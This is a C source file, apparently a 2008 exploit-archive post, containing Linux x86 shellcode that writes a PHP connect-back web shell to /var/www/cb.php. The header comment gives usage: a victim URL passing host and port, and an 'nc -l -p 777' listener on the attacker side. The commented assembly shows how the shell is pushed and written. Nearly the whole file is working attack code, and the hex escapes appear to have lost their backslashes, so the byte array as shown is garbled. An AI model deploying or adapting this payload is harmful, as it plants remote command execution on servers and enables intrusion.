#include <stdlib.h>

        /* Grayscale Research: Linux Write FS PHP Connect Back Utility Shellcode
         *
         *      Function:
         *              Opens /var/www/cb.php and writes a php connectback shell to the filesystem.
         *
         *      Shellcode Size: 508 bytes (No Encodings)
         *
         *      PHP Shell Usage:
         *              // victim
         *              http://vulnhost.com/cb.php?host=192.168.1.1?port=777
         *
         *              // attacker
         *              nc -l -p 777
         *
         *      greets: #c-, #hhp, #oldskewl, d-town, sd2600, dc214, everyone else.
	 *      
	 *      
         *      ~roonr
         */


	// shellcode
 	    char sc[] = "x68x70x68x70xffx68x2fx63x62x2ex68x2fx77x77x77x68"
			 "x2fx76x61x72x31xc0x89xe6x88x46x0fx89xe3x31xc9xb1"
			 "x42x31xd2xb2xffx31xc0xb0x05xcdx80x31xdbx88xc3x68"
			 "x3fx3exffxffx68x3bx7dx20x7dx68x24x72x29x29x68x6c"
			 "x65x6ex28x68x20x73x74x72x68x20x24x72x2cx68x6fx63"
			 "x6bx2cx68x65x28x24x73x68x77x72x69x74x68x6bx65x74"
			 "x5fx68x3bx73x6fx63x68x31x24x20x22x68x73x75x31x2e"
			 "x68x5cx6ex63x62x68x2ex3dx20x22x68x60x3bx24x72x68"
			 "x20x60x24x69x68x24x72x20x3dx68x30x29x29x7bx68x2c"
			 "x20x31x30x68x73x6fx63x6bx68x61x64x28x24x68x74x5f"
			 "x72x65x68x6fx63x6bx65x68x24x69x3dx73x68x69x6cx65"
			 "x28x68x29x3bx77x68x68x22x2cx31x30x68x74x65x64x3a"
			 "x68x6ex6ex65x63x68x20x22x43x6fx68x6fx63x6bx2cx68"
			 "x65x28x24x73x68x77x72x69x74x68x6bx65x74x5fx68x3b"
			 "x73x6fx63x68x6fx72x74x29x68x2cx20x24x70x68x72x65"
			 "x73x73x68x24x61x64x64x68x63x6bx2cx20x68x28x24x73"
			 "x6fx68x6ex65x63x74x68x5fx63x6fx6ex68x63x6bx65x74"
			 "x68x29x3bx73x6fx68x5fx54x43x50x68x2cx53x4fx4cx68"
			 "x52x45x41x4dx68x4bx5fx53x54x68x2cx53x4fx43x68x49"
			 "x4ex45x54x68x28x41x46x5fx68x65x61x74x65x68x74x5f"
			 "x63x72x68x6fx63x6bx65x68x63x6bx3dx73x68x3bx24x73"
			 "x6fx68x72x74x27x5dx68x5bx27x70x6fx68x5fx47x45x54"
			 "x68x72x74x3dx24x68x3bx24x70x6fx68x74x27x5dx29x68"
			 "x27x68x6fx73x68x47x45x54x5bx68x65x28x24x5fx68x79"
			 "x6ex61x6dx68x6fx73x74x62x68x67x65x74x68x68x65x73"
			 "x73x3dx68x61x64x64x72x68x73x65x7bx24x68x3bx7dx65"
			 "x6cx68x34x2ex22x29x68x72x20x34x30x68x45x72x72x6f"
			 "x68x6ex74x28x22x68x7bx70x72x69x68x74x27x5dx29x68"
			 "x27x70x6fx72x68x47x45x54x5bx68x26x21x24x5fx68x74"
			 "x27x5dx26x68x27x68x6fx73x68x47x45x54x5bx68x28x21"
			 "x24x5fx68x50x20x69x66x68x3cx3fx50x48x31xc0x89xe6"
			 "xb0x04x89xe1x66xbax62x01xcdx80";

	
int main(){
	

	// run shellcode
        asm("JMP %0;" : "=m" (sc));

	/*
		asm volatile(
		    "cb_shellcode:n"
		    "push $0xff706870;" 
		    "push $0x2e62632f;" 
		    "push $0x7777772f;" 
		    "push $0x7261762f;"
		    "xor %eax, %eax;" 
		    "mov %esp, %esi;"
		    "movb %al, 0xf(%esi);"
		   
		    // sys_open 
		    "mov %esp, %ebx; "
                    "xor %ecx, %ecx;"
			    "movb $0x42, %cl;"
		    	"xor %edx, %edx;"
			    "movb $0xff, %dl;"
		    	"xor %eax, %eax;"
	 		    "movb $0x05, %al;" 
		    "int $0x80;"
		    
		    // sys_write
		    "xor %ebx, %ebx;"
		    "mov %al, %bl;"
		    
			// php connectback shellcode
			"push $0xffff3e3f; push $0x7d207d3b; push $0x29297224; push $0x286e656c;"
			"push $0x72747320; push $0x2c722420; push $0x2c6b636f; push $0x73242865;"
			"push $0x74697277; push $0x5f74656b; push $0x636f733b; push $0x22202431;"
			"push $0x2e317573; push $0x62636e5c; push $0x22203d2e; push $0x72243b60;"
			"push $0x69246020; push $0x3d207224; push $0x7b292930; push $0x3031202c;"
			"push $0x6b636f73; push $0x24286461; push $0x65725f74; push $0x656b636f;"
			"push $0x733d6924; push $0x28656c69; push $0x68773b29; push $0x30312c22;"
			"push $0x3a646574; push $0x63656e6e; push $0x6f432220; push $0x2c6b636f;"
			"push $0x73242865; push $0x74697277; push $0x5f74656b; push $0x636f733b;"
			"push $0x2974726f; push $0x7024202c; push $0x73736572; push $0x64646124;"
			"push $0x202c6b63; push $0x6f732428; push $0x7463656e; push $0x6e6f635f;"
			"push $0x74656b63; push $0x6f733b29; push $0x5043545f; push $0x4c4f532c;"
			"push $0x4d414552; push $0x54535f4b; push $0x434f532c; push $0x54454e49;"
			"push $0x5f464128; push $0x65746165; push $0x72635f74; push $0x656b636f;"
			"push $0x733d6b63; push $0x6f73243b; push $0x5d277472; push $0x6f70275b;" 
			"push $0x5445475f; push $0x243d7472; push $0x6f70243b; push $0x295d2774;" 
			"push $0x736f6827; push $0x5b544547; push $0x5f242865; push $0x6d616e79;" 
			"push $0x6274736f; push $0x68746567; push $0x3d737365; push $0x72646461;" 
			"push $0x247b6573; push $0x6c657d3b; push $0x29222e34; push $0x30342072;" 
			"push $0x6f727245; push $0x2228746e; push $0x6972707b; push $0x295d2774;" 
			"push $0x726f7027; push $0x5b544547; push $0x5f242126; push $0x265d2774;" 
			"push $0x736f6827; push $0x5b544547; push $0x5f242128; push $0x66692050;"
			"push $0x48503f3c;"
			
		   "xor %eax, %eax;"
	    	   "mov %esp, %esi;"	    
		   "movb $0x04, %al;"
		   "mov %esp, %ecx;" 
		   "mov $0x162, %dx;" 
		   "int $0x80;");

	*/
		
}

// www.Syue.com [2008-08-18]